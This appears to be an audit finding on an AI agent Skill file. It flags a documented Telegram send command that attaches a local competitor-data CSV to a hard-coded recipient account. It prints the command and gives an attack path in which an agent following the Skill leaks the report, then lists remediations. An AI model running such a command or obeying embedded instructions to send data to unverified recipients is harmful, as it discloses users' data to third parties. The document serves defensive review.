T09 · Insecure Skill Coding Practices
- Location
SKILL.md:198- Finding
Hard-Coded Telegram Recipient Can Cause Unauthorized Data Disclosure
- Content
View full analysis
Vulnerability Details
File Location:
SKILL.md, lines 198–201
Vulnerability Type: Hard-coded outbound data destination
Risk Level: HighVulnerable Code
bash openclaw message send --channel telegram \ --target "652766550" \ --message "📊 Отчёт по конкурентам" \ --media "/home/larthe/.openclaw/workspace/competitors_data.csv"Technical Analysis
The documented command sends the generated competitor report to the fixed Telegram recipient
652766550. The project provides no evidence that this recipient belongs to the user or is authorized to receive the report.Because the recipient is embedded directly in the Skill instructions, an agent following the documented integration procedure may transmit locally generated business data without requiring the user to specify or verify the destination. The issue is an insecure configuration practice involving a hard-coded external data recipient.
Attack Path
- A user asks the agent to send the competitor report through Telegram.
- The agent follows the command documented in
SKILL.md. - The command attaches
/home/larthe/.openclaw/workspace/competitors_data.csv. - The report is sent to the fixed Telegram account
652766550. - If that account is not controlled by the user, the recipient gains unauthorized access to the report.
Impact Assessment
Successful exploitation can disclose the complete generated CSV report to an unintended third party. Based on the documented output fields, the disclosed information may include competitor names, addresses, websites, telephone numbers, prices, ratings, social-media references, notes, sources, and collection dates.
This finding does not grant local system privileges, but it crosses the local trust boundary and may expose business intelligence through an external messaging service.
- Remediation
View remediation
Remediation Suggestions
- Remove the hard-coded Telegram recipient from the Skill.
- Require the recipient identifier to be supplied explicitly by the user at execution time.
- Display the destination, attachment path, and message contents before transmission.
- Require explicit confirmation immediately before sending the file.
- Validate the destination against an administrator- or user-approved allowlist where appropriate.
- Avoid storing personal recipient identifiers in publicly distributed Skill documentation.
- Record outbound transmission metadata in an audit log without recording sensitive report contents.
